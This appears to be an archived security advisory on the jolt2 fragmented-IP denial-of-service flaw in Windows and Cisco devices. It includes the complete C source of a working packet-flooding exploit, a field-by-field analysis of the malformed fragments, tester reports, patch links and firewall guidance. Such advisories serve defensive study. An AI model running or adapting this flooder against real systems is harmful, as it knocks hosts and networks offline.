COMMAND
TCP/IP
SYSTEMS AFFECTED
Windows Windows 2000, NT4, and Win9x, Cisco routers
PROBLEM
Following is based on BindView Security Advisory. Sending large
numbers of identical fragmented IP packets to a Windows 2000 or
NT4 host may cause the target to lock-up for the duration of the
attack. The CPU utilization on the target goes to 100% for the
duration of the attack. This causes both the UI and network
interfaces to lock up. During testing a target was observed to
BSOD, but this was not reproducible, and it's not clear that it
was actually related to the attack.
Send identical fragmented IP packets to the target at the rate of
approximately 150 packets per second. The contents of the packet
do not appear to matter greatly. Our testing was mostly done
with ICMP packets, however the problem is not specific to ICMP.
This vulnerability was discovered by Dmitri Netes of BindView's
HackerShield development team.
Following is the code for the new DoS discovered by Razor. It
forces cpu utilization to 100%, making everything move really
really slow. Tested against Win98, WinNT4/sp5,6, Win2K. An
interesting side note is that minor changes to this packet cause
NT4/Win2k (maybe others, not tested) memory use to jump
*substantially* (+70 meg non-paged-pool on a machine with 196 mb
phys). There seems to be a hard upper limit, but on machines
with smaller amounts of memory or smaller swapfiles, ramping up
the non-paged-pool this much might lead to a BSOD. Below is
explaination of it.
/*
* File: jolt2.c
* Author: Phonix <phonix@moocow.org>
* Date: 23-May-00
*
* Description: This is the proof-of-concept code for the
* Windows denial-of-serice attack described by
* the Razor team (NTBugtraq, 19-May-00)
* (MS00-029). This code causes cpu utilization
* to go to 100%.
*
* Tested against: Win98; NT4/SP5,6; Win2K
*
* Written for: My Linux box. YMMV. Deal with it.
*
* Thanks: This is standard code. Ripped from lots of places.
* Insert your name here if you think you wrote some of
* it. It's a trivial exploit, so I won't take credit
* for anything except putting this file together.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>
struct _pkt
{
struct iphdr ip;
union {
struct icmphdr icmp;
struct udphdr udp;
} proto;
char data;
} pkt;
int icmplen = sizeof(struct icmphdr),
udplen = sizeof(struct udphdr),
iplen = sizeof(struct iphdr),
spf_sck;
void usage(char *pname)
{
fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
pname);
fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
exit(0);
}
u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
int bs, psize;
unsigned long x;
struct sockaddr_in to;
to.sin_family = AF_INET;
to.sin_port = 1235;
to.sin_addr.s_addr = dst_addr;
if (port)
psize = iplen + udplen + 1;
else
psize = iplen + icmplen + 1;
memset(&pkt, 0, psize);
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);
if (port)
{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a';
} else {
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0;
}
while (1) {
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
}
return bs;
}
int main(int argc, char *argv[])
{
u_long src_addr, dst_addr;
int i, bs=1, port=0;
char hostname[32];
if (argc < 2)
usage (argv[0]);
gethostname (hostname, 32);
src_addr = host_to_ip(hostname);
while ((i = getopt (argc, argv, "s:p:h")) != EOF)
{
switch (i)
{
case 's':
dst_addr = host_to_ip(optarg);
if (!dst_addr)
quit("Bad source address given.");
break;
case 'p':
port = atoi(optarg);
if ((port <=0) || (port > 65535))
quit ("Invalid port number given.");
break;
case 'h':
default:
usage (argv[0]);
}
}
dst_addr = host_to_ip(argv[argc-1]);
if (!dst_addr)
quit("Bad destination address given.");
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");
do_frags (spf_sck, src_addr, dst_addr, port);
}
Following is Mikael Olsson's analysis of jolt2.c (revision 2).
There are two modes of operation:
- Illegaly fragmented ICMP ECHOs (pings)
- Illegaly fragmented UDP packets
They both send out a continous stream of identical fragments
(same offset, same frag ID, same everything) where the fragments
are constructed such that:
- ALL fragments are sent with fragment offset 65520 (The value
transmitted is 8190, but this is the number of 64-bit
blocks, so the real offset is 65520.)
- 9 bytes of IP data are sent (total packet length 29)
- IP packet ID is 0x0455
- TTL is initially 255
- Source address is not spoofed
- Destination address is victim address
- IP checksum is set to zero (should be illegal. If the
checksum is automatically computed by the IP stack or the
NIC, it won't be zero)
- IP total length is set to 68 (IP+8+40) (illegal!)
- The IP MF flag is set to zero (last fragment)
The code also ensures that correct UDP/ICMP headers are sent.
However, do not be fooled by this behaviour. The headers are NOT
sent in a fragment with offset zero, so they will never be parsed
as UDP/ICMP headers by the recipient. They are treated as "just
another 9 bytes of data". As such, all that can be said is that
it is sending "UDP" or "ICMP" data. It is NOT sending a specific
ICMP type, and it is NOT sending to a specific UDP port!
The ICMP header sent is an ICMP ECHO (ping) with
code=0
checksum=0
unused 32-bit value = 0
the one data byte = 0
The UDP header sent has dest port = user-specified,
src port = user-specified (binary OR) 1235
checksum = 0
UDP total length = 9
the one data byte = 'a'
Again: No one will parse these headers, it's just "another 9
bytes of data".
In the source, the IP checksum is set to zero. Setting the
checksum to 0 is perfectly valid if you are offloading the
checksumming to the NIC. According to RFC1812, the only action
taken on a packet before the checksum check should be to verify
that it is large enough to contain the basic IP header.
Again, analyzing the structure of the fragments:
- The data _sent_ is 29 bytes (20 IP + 9 data), which is valid
as it is a last fragment (MF=0).
- However, the total length reported by the IP header is 68
bytes. This means that the packet should fail structural
tests, if there are any. [snip poisonous statement about
A Large OS Vendor's code quality] Receipt of a packet with
a reported length being larger than the actual received
length is a normal occurence, it'll happen any time a
packet is truncated during transport.
- According to the IP header total length, the amount of IP
data is 48 bytes. Since the offset is 65520, this would
result in a IP packet length overflow; the maximum allowed
length is 65535. Note however that the data sent (9 bytes)
would not cause an overflow.
- Fragments are flagged as being "last fragments".
Brian S. DuRoss tested it on a Cisco 3640 Running IOS 11.3, and
the router quite routing until the exploit was stopped.
Matthew S. Hallacy tested it too. It caused some temporary packet
loss on his 7204 (12.0(5)T1), and a lot more packetloss on a
2600 (12.0(3)T3), although that could have been saturation of the
T1 that runs to it.
Earl T. Carter was testing the effects of jolt2 on a Win2K system
in his lab. The command line options were:
jolt2 x.y.z.q
As advertised, this caused the win2K to freeze. At the same
time, he was watching the network traffic on a Redhat Linux 6.0
system using tcpdump. After he killed the Jolt2 process, the
Win2K box was back to normal, but the Linux box was completely
locked up. The Linux machine required a hard reset to get it
operational again. The command that he used on the tcpdump
command line was:
tcpdump -n -s 1500 -w /tmp/filename
After some quick testing, he discovered that the Linux box would
not lock up if the network traffic is output to the screen. He
also discovered that using the default snaplen and writing to a
file does not cause a problem. The lock up seems to only occur
when you specify a snaplen of 1500 (entire Ethernet packet) and
use Tcpdump's "-w" command to write the sniffed packets to a
file. It only takes about 5 seconds worth of jolt2 traffic to
cause the Linux box to lock up.
If someone run jolt2 against a Be/OS 5.0 will lead the system to
be slowly like the win family in a few minutes. Try run jolt2
against the system and open one terminal or two and you'll get the
system very slow. After attack running for 15 minutes it gets the
Be/OS totally locked needing a reset.
SOLUTION
Filter fragmnented IP packets at your routers, if possible. Patch
availability:
- Windows 95: http://download.microsoft.com/download/win95/update/8070/w95/EN-US/259728USA5.EXE
- Windows 98: http://download.microsoft.com/download/win98/update/8070/w98/EN-US/259728USA8.EXE
- Windows NT 4.0 Workstation, Server and Server, Enterprise Edition: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20829
- Windows NT 4.0 Server, Terminal Server Edition: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830
- Windows 2000 Professional, Server and Advanced Server: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20827
How do firewalls protect against this attack? (stateful) packet
filtering firewalls:
* The packet fails structural integrity tests. The reported
length (68) is much larger than the received length (29).
However: A broken router may decide to send 68 bytes when
forwarding it (adding 39 bytes of random padding).
* This incarnation of the attack is also illegal in that it wraps
the IP packet size limit. The IP data length reported is 48,
and the offset is 65520.
* If the firewall has any sort of (pseudo)fragment reassembly, it
shouldn't forward a single packet, since there are no valid
fragments preceding the attack sequence.
* If the firewall maps fragments to open connections, it should
detect that there is no open connection for this particular
packet, thereby discarding it.
Proxy firewalls:
* A proxy function will never pass this attack pattern to the
protected network. (Note: assumes that there is no packet
filtering functionality applied to the firewall)
* If the proxy firewall is running on a vulnerable OS and doesn't
have its own network layer code (relies on the MS stack), the
attack will DoS the firewall itself, effectively DoSing your
entire connection.
Any type firewall:
* If the firewall does fragment reassembly in an incorrect way
(maybe by trusting vulnerable MS stacks to do it), it will be
vulnerable to the attack, regardless of which type of firewall
it is.
Fact 1: A proxy firewall will NOT pass this attack pattern to
the protected network.
Fact 2: If the proxy firewall is running on a vulnerable OS and
doesn't have its own network layer code (relies on the MS
stack), the attack will DoS the firewall itself.
The fact of the matter is, any type firewall that runs on top of
Win9x/NT that doesn't have its own network layer code is
vulnerable to this attack.